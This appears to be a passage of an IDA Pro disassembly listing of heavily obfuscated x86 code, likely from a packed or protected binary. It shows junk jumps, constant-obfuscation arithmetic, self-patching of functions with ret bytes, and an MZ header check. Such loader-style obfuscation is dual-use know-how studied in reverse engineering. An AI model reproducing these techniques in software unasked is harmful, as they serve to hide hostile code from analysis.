; FUNCTION CHUNK AT 00439954 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00439B46 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00439BE7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00439C24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439CEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439D37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00439F75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A02B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A2E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A60B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ABB3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043ABDD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043AD9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ADFF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043AE69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AF70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B072 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B1AE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B2BE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043B623 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B6C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B708 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B9B1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0043BA83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043BB34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BB87 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043BC0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BE7C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043BE85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF65 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C3B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C677 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB17 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043CD59 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0043CD96 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D006 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D11F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D2F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D587 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D63E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043DAD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DB88 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043DBA3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043DBC0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043DCFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DF04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E1EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E2D3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043E399 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E3DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E4D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E4F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E839 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E96F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EDD8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043EE0F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043EEC6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F005 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F83F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00440228 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440364 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0044040A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440501 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00440561 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00440578 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440609 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004406B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440799 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004407D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440DD8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00440F7E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441122 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004412AD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004412EE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004413FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044142D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00441864 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441AB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441F76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442100 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044241D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00442707 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004427A0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004428A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442A67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442CCE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00442D55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442D7D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044306B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00443282 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044383F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00443BFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443C42 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044424A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004445B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044491D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444970 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444F6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445062 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004451BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044524F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044534C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445373 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004459E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C6E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00445E87 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00446075 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00446563 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446DDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044707B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004470AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044722C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004472E6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044769E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004476C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004477D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004478EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447D2C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447F96 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447FBD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004483F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004484AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448543 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00448625 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448826 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448854 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448C24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448D1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448D87 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449264 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044933E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044984D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004498B4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004498D1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449A42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449BA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449BF3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00449DA7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044A265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A3C6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044A7CD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A86D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A89E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044AACE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044AE0A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B048 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044B1E9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B453 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B4D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B698 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B78B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044B7CC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BC03 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044BD91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BDB9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BDD7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044C24F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C568 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C91A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044C98E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CB6D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044CDBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CDF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CE5E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044CF01 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044D3A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D57F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D746 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D881 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044DAF0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E27B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E4FC SIZE 0000000B BYTES

		xchg	esi, [esp+4+var_4]
		pop	esi
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_449195
		jmp	loc_441F76
; ---------------------------------------------------------------------------

loc_448EC9:				; CODE XREF: sub_43F501:loc_439837j
		lea	eax, [ebp-14h]
		push	eax
		call	sub_44A9DF
		mov	ds:dword_442AB8, eax
		mov	ds:byte_442A98,	1
		lea	eax, [ebp-14h]
		xor	edx, edx
		jmp	loc_43E96F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-30h]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_4422D0
		jmp	loc_4406B6
; ---------------------------------------------------------------------------
		jl	loc_440561
		jmp	sub_43B201
; ---------------------------------------------------------------------------

loc_448F0C:				; CODE XREF: sub_4410E0:loc_440FC6j
		xchg	edx, [esp+4+var_4]
		jmp	sub_43F7FF
; ---------------------------------------------------------------------------
		adc	ebx, 6D6108ABh
		jmp	sub_440626
; ---------------------------------------------------------------------------

loc_448F1F:				; CODE XREF: y22d6.y.:00441684j
		jnz	loc_442CD4

loc_448F25:				; CODE XREF: sub_440494+C21Aj
		jmp	nullsub_13
; ---------------------------------------------------------------------------

loc_448F2A:				; CODE XREF: sub_4441E8+3D57j
		jmp	nullsub_126
; ---------------------------------------------------------------------------
		or	esi, ebp
		mov	eax, [edx]
		jmp	loc_446075
; ---------------------------------------------------------------------------

loc_448F38:				; CODE XREF: sub_43F7FF-7151j
		jz	loc_44DAFF
		jmp	loc_43AD9A
; ---------------------------------------------------------------------------
		pop	ebp
		add	edi, esi
		jmp	sub_43E139
; ---------------------------------------------------------------------------

loc_448F4B:				; CODE XREF: sub_439A90:loc_442B3Bj
					; sub_439A90+14B2Cj
		call	sub_4416F3

loc_448F50:				; CODE XREF: sub_4480DE-886Fj
		jmp	loc_445E87
; ---------------------------------------------------------------------------

loc_448F55:				; CODE XREF: sub_441C1C-A246j
		jmp	loc_43BB87
; ---------------------------------------------------------------------------

loc_448F5A:				; CODE XREF: sub_43878A:loc_43879Aj
		xchg	edi, [esp+0]
		push	2D49B125h
		pop	eax
		xor	eax, 0C2E49A53h
		add	eax, 1097B6F6h
		xchg	eax, [esp+0]
		jmp	loc_441A21
; ---------------------------------------------------------------------------

loc_448F77:				; DATA XREF: sub_448EB6-5658o
		push	eax
		jmp	loc_44D565
; ---------------------------------------------------------------------------

loc_448F7D:				; CODE XREF: sub_442206j
		push	eax
		mov	eax, ebp
		push	offset loc_449A20
		jmp	loc_44C24F
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, ebx
		xchg	eax, [esp+4+var_4]
		push	9B57C717h
		pop	ebx
		and	ebx, 41047B63h
		jmp	loc_43B2BE
; ---------------------------------------------------------------------------

loc_448FA1:				; CODE XREF: sub_43E39E-6AB7j
		add	ecx, 2244A0BDh
		push	offset loc_4463B3
		jmp	nullsub_129
; ---------------------------------------------------------------------------

loc_448FB1:				; CODE XREF: y22d6.y.:loc_43D2B8j
		jnz	loc_44CB6D
		and	esi, ebp

loc_448FB9:				; CODE XREF: sub_43A735:loc_43D2A5j
		rol	eax, 15h
		add	eax, 50450F7Ch
		add	eax, ebp
		jmp	loc_44040A
; ---------------------------------------------------------------------------

loc_448FC9:				; DATA XREF: sub_43734D+611Bo
		xchg	ecx, [esp+8+var_8]
		mov	esi, ecx
		not	ecx
		jmp	loc_44306B
; ---------------------------------------------------------------------------
		push	42E70959h
		pop	eax
		and	eax, 957DEEAEh
		xor	eax, 0CE71E7F7h
		push	ecx
		jmp	loc_4455E3
; ---------------------------------------------------------------------------

locret_448FED:				; CODE XREF: sub_442C0C:loc_442EEFj
		retn
; ---------------------------------------------------------------------------

locret_448FEE:				; CODE XREF: sub_438880+D48Ej
		retn
; ---------------------------------------------------------------------------

loc_448FEF:				; CODE XREF: sub_44D73B+5j
		jmp	loc_43EE0F
; ---------------------------------------------------------------------------

loc_448FF4:				; CODE XREF: sub_448EB6+221j
		jmp	loc_439D37
; ---------------------------------------------------------------------------

loc_448FF9:				; CODE XREF: sub_438E86:loc_43E8FAj
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+10h+var_10]
		push	edx
		push	0FD72E197h
		pop	edx
		sub	edx, 31F5EE90h
		jmp	loc_43759A
; ---------------------------------------------------------------------------

locret_449011:				; CODE XREF: sub_44B35D:loc_445162j
		retn
; ---------------------------------------------------------------------------

loc_449012:				; CODE XREF: sub_44DCB9+17j
		jmp	loc_448543
; ---------------------------------------------------------------------------

loc_449017:				; CODE XREF: sub_443906+Aj
		jmp	nullsub_334
; ---------------------------------------------------------------------------

loc_44901C:				; CODE XREF: sub_43E86C:loc_43DBD3j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441990
		or	eax, eax
		jnz	loc_43733E
		jmp	loc_43B623
; ---------------------------------------------------------------------------

loc_449032:				; CODE XREF: sub_43A6E1+AD4Bj
		not	ebx
		jmp	loc_43BF65
; ---------------------------------------------------------------------------

locret_449039:				; CODE XREF: sub_445A15:loc_43DC14j
		retn
; ---------------------------------------------------------------------------

loc_44903A:				; CODE XREF: sub_446F34+5B69j
		jmp	loc_446DDC
; ---------------------------------------------------------------------------

loc_44903F:				; CODE XREF: y22d6.y.:004495F8j
		jmp	sub_43BCA9
; ---------------------------------------------------------------------------

loc_449044:				; CODE XREF: sub_4432B8+2287j
		jmp	sub_43F7FF
; ---------------------------------------------------------------------------

loc_449049:				; CODE XREF: y22d6.y.:0043C312j
		jmp	loc_440228
; ---------------------------------------------------------------------------

loc_44904E:				; CODE XREF: sub_44D3B1-F331j
		ja	loc_44524F

loc_449054:				; CODE XREF: sub_44D3B1:loc_444B2Bj
		rol	ebx, 0Ah
		test	ebx, 1000000h
		jmp	loc_43BE85
; ---------------------------------------------------------------------------

loc_449062:				; CODE XREF: sub_4450FD:loc_44BB50j
		jz	loc_43DBA5

loc_449068:				; CODE XREF: sub_4387EA+897Ej
		jmp	loc_44242A
; ---------------------------------------------------------------------------

loc_44906D:				; CODE XREF: y22d6.y.:00440BF1j
		jmp	loc_44E4FC
; ---------------------------------------------------------------------------

loc_449072:				; CODE XREF: y22d6.y.:0043A76Bj
		jmp	nullsub_349
; ---------------------------------------------------------------------------
		sub	ebx, 513FC70h
		jmp	loc_43DBA3
; ---------------------------------------------------------------------------

loc_449082:				; CODE XREF: sub_438953:loc_438963j
		jnz	loc_44908E
		mov	eax, [ebp-4]
		mov	[ebp-8], eax

loc_44908E:				; CODE XREF: sub_448EB6:loc_449082j
		call	sub_44A9D9
		mov	[ebp-0Ah], al

loc_449096:				; CODE XREF: sub_437680+13354j
		jns	loc_4498D1
		mov	eax, [ebp-4]
		jmp	loc_43DCFD
; ---------------------------------------------------------------------------

loc_4490A4:				; CODE XREF: y22d6.y.:00447227j
		call	sub_44E5C7
		mov	eax, 19A5E09Eh
		call	sub_43CA1A
		push	offset loc_44C5DB
		jmp	loc_442C07
; ---------------------------------------------------------------------------

loc_4490BD:				; CODE XREF: sub_439051+C618j
		jz	loc_4429CA

loc_4490C3:				; CODE XREF: y22d6.y.:loc_43C7DBj
		add	edx, 36EA66B8h
		push	eax
		pushf
		push	50FD2528h
		pop	eax
		and	eax, 16EF26D1h
		jmp	loc_448FF4
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_440578
; ---------------------------------------------------------------------------

locret_4490E3:				; CODE XREF: sub_44D83F:loc_445D35j
		retn
; ---------------------------------------------------------------------------

loc_4490E4:				; CODE XREF: sub_43B98D+11FD2j
		jmp	loc_43EDD8
; ---------------------------------------------------------------------------

loc_4490E9:				; CODE XREF: sub_43B3CC+Bj
		jmp	loc_44A89E
; ---------------------------------------------------------------------------

loc_4490EE:				; CODE XREF: y22d6.y.:0043CE0Ej
		jge	loc_44984D
		adc	eax, ebp
		jmp	sub_43E5B0
; ---------------------------------------------------------------------------

loc_4490FB:				; CODE XREF: sub_449641+AACj
		jge	loc_43957B
		add	ebp, 9EB7D96Ch

loc_449107:				; CODE XREF: sub_44571D:loc_43FD89j
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-28h]
		jmp	loc_43E2D3
; ---------------------------------------------------------------------------

loc_449115:				; CODE XREF: sub_4432B8-971Cj
		pop	edx
		pushf
		jnz	loc_43D11F
		jmp	loc_44C568
; ---------------------------------------------------------------------------

loc_449122:				; CODE XREF: sub_4387EA:loc_441162j
					; sub_448EB6-6A80j
		push	offset loc_44DAC1
		jmp	loc_4383C6
; ---------------------------------------------------------------------------

loc_44912C:				; CODE XREF: y22d6.y.:00442F4Fj
		or	eax, 42929198h
		sub	eax, 7FCE98B3h
		xor	eax, 91B34E0Bh
		add	eax, ebp
		push	ecx
		push	3478910Ah
		jmp	loc_440609
; ---------------------------------------------------------------------------

loc_44914B:				; CODE XREF: sub_440330+BFEDj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_438F00
		jmp	loc_444638
; ---------------------------------------------------------------------------

loc_44915A:				; CODE XREF: sub_43FBC3:loc_4391B1j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_8
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_442AFF
		call	sub_443BD2

loc_449171:				; CODE XREF: sub_437B01:loc_43D691j
					; DATA XREF: y22d6.y.:004405CAo
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0Ch+var_C]
		mov	edx, eax
		push	eax
		push	6787A5BDh
		xchg	edx, [esp+14h+var_14]
		mov	eax, edx
		jmp	loc_437384
; ---------------------------------------------------------------------------

loc_449189:				; CODE XREF: sub_43E185-439Aj
		jbe	loc_44C91A
		jp	loc_43FFDB

loc_449195:				; CODE XREF: sub_43B09B-1288j
					; y22d6.y.:00439E21j ...
		jmp	loc_44A239
sub_448EB6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_44919A:				; CODE XREF: sub_43E185+6900j
					; sub_448EB6:loc_44B7D2j
		xchg	eax, [esp+10h+var_10]
		mov	ecx, eax
		xchg	ebp, [esp+10h+var_10]
		jmp	loc_443FAB
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
		or	edi, esi
		jmp	loc_4418A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4491AE:				; CODE XREF: sub_438B66+203Dj
		not	ecx
		popf
		shr	ecx, 19h

loc_4491B4:				; CODE XREF: sub_438B66:loc_447D90j
		movzx	eax, word ptr [ebp-6]
		push	0DDB3FC4Eh
		pop	edx
		add	edx, 1BED96FAh
		jmp	loc_43F7F0
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_4491C9:				; CODE XREF: sub_4452EE:loc_44C074j
		cmp	al, 0A4h
		jz	loc_443C2F
		jmp	loc_43EFA0
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------

loc_4491D6:				; CODE XREF: y22d6.y.:00447197j
		and	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_4491D8	proc near		; CODE XREF: sub_447268+1AF8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004393DB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043CFC5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043D564 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445EE4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C26F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044C486 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DEA3 SIZE 00000015 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		push	edx
		call	sub_43EF0B
		push	171D42Ah
		pop	eax
		rol	eax, 0Ah
		jmp	loc_44C26F
sub_4491D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4491F0:				; CODE XREF: y22d6.y.:00440BBAj
		push	edx
		call	sub_43BE66
		push	79680DEEh
		pop	eax
		and	eax, 0E4C2FBA1h
		or	eax, 1B2969B0h
		xor	eax, 0DCCD2433h
		jmp	loc_438C48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AA9

loc_449213:				; CODE XREF: sub_449AA9:loc_4451DEj
		mov	ecx, eax
		xchg	ecx, [esp+0]
		call	sub_44999F
; END OF FUNCTION CHUNK	FOR sub_449AA9

; =============== S U B	R O U T	I N E =======================================



sub_44921D	proc near		; CODE XREF: y22d6.y.:00439E49p

; FUNCTION CHUNK AT 0043724D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043DEB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004465A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044838E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448B66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449BA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B767 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E185 SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	4CF83E69h
		pop	eax
		rol	eax, 1Fh
		jmp	loc_43DEB9
sub_44921D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44922F:				; CODE XREF: y22d6.y.:0043E0CEj
		mov	[eax], ebx
		pop	edx
		and	eax, ebp

loc_449234:				; CODE XREF: y22d6.y.:loc_43E0B9j
		add	edx, 0B28018C6h
		push	offset loc_438426
		jmp	loc_43CC10
; ---------------------------------------------------------------------------

loc_449244:				; CODE XREF: y22d6.y.:0044B0B7j
		xor	edx, 0BC3C37A1h
		sub	edx, 2DDD506Ch
		add	edx, 0E66A7950h
		xchg	edx, [esp]
		jmp	loc_441D88
; ---------------------------------------------------------------------------
		jmp	ds:off_41E1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_449264:				; CODE XREF: sub_448EB6-5653j
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_449269:				; CODE XREF: y22d6.y.:004416BBj
					; sub_44BCC2:loc_441D88j ...
		jno	loc_44CE0E
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44926F:				; CODE XREF: sub_444427:loc_44250Cj
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_4432D5
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_449278:				; CODE XREF: y22d6.y.:00440686j
		mov	byte ptr [eax],	0C3h
		jmp	sub_446425

; =============== S U B	R O U T	I N E =======================================



sub_449280	proc near		; CODE XREF: sub_419FEC+9Bp
					; sub_449280+5j
					; DATA XREF: ...
		call	sub_44928B
		jmp	ds:off_41E0A0
sub_449280	endp


; =============== S U B	R O U T	I N E =======================================



sub_44928B	proc near		; CODE XREF: sub_43921B+7j
					; y22d6.y.:loc_43AC57j	...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043B28C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004415C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044844B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044E144 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E597 SIZE 00000023 BYTES

		xchg	ebx, [esp+0]
		push	ebx
		jmp	loc_4415C7
sub_44928B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449294:				; CODE XREF: y22d6.y.:00440794j
		xchg	ebp, eax

; =============== S U B	R O U T	I N E =======================================



sub_449296	proc near		; CODE XREF: sub_43C538:loc_4442D1p

; FUNCTION CHUNK AT 0044D7EC SIZE 00000004 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jz	loc_44D7F5
		mov	dword ptr [ebp-8], 1

loc_4492A7:				; CODE XREF: sub_4498DE:loc_438D5Fj
					; sub_448B71+1Aj
		mov	eax, [ebp-8]
		jmp	loc_44D7EC
sub_449296	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_359. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_4492B0:				; CODE XREF: y22d6.y.:loc_44A605j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD3D

loc_4492B1:				; CODE XREF: sub_43AD3D+Dj
		jmp	loc_44C086
; END OF FUNCTION CHUNK	FOR sub_43AD3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_4492B6:				; CODE XREF: sub_43FFE2-3340j
		pop	esi
		or	esi, 0A27F04E7h
		sub	esi, 0CC03BBB7h
		and	esi, 0CD6FA72Ch
		jmp	loc_44C24A
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		jnp	loc_4427AB
		push	edx
		jmp	sub_448D0A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4492DB:				; CODE XREF: y22d6.y.:loc_445E3Cj
		lea	eax, sub_4416CB
		mov	byte ptr [eax],	0C3h
		jmp	sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_4492E9:				; CODE XREF: sub_4416CB:loc_43A96Bj
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, edx
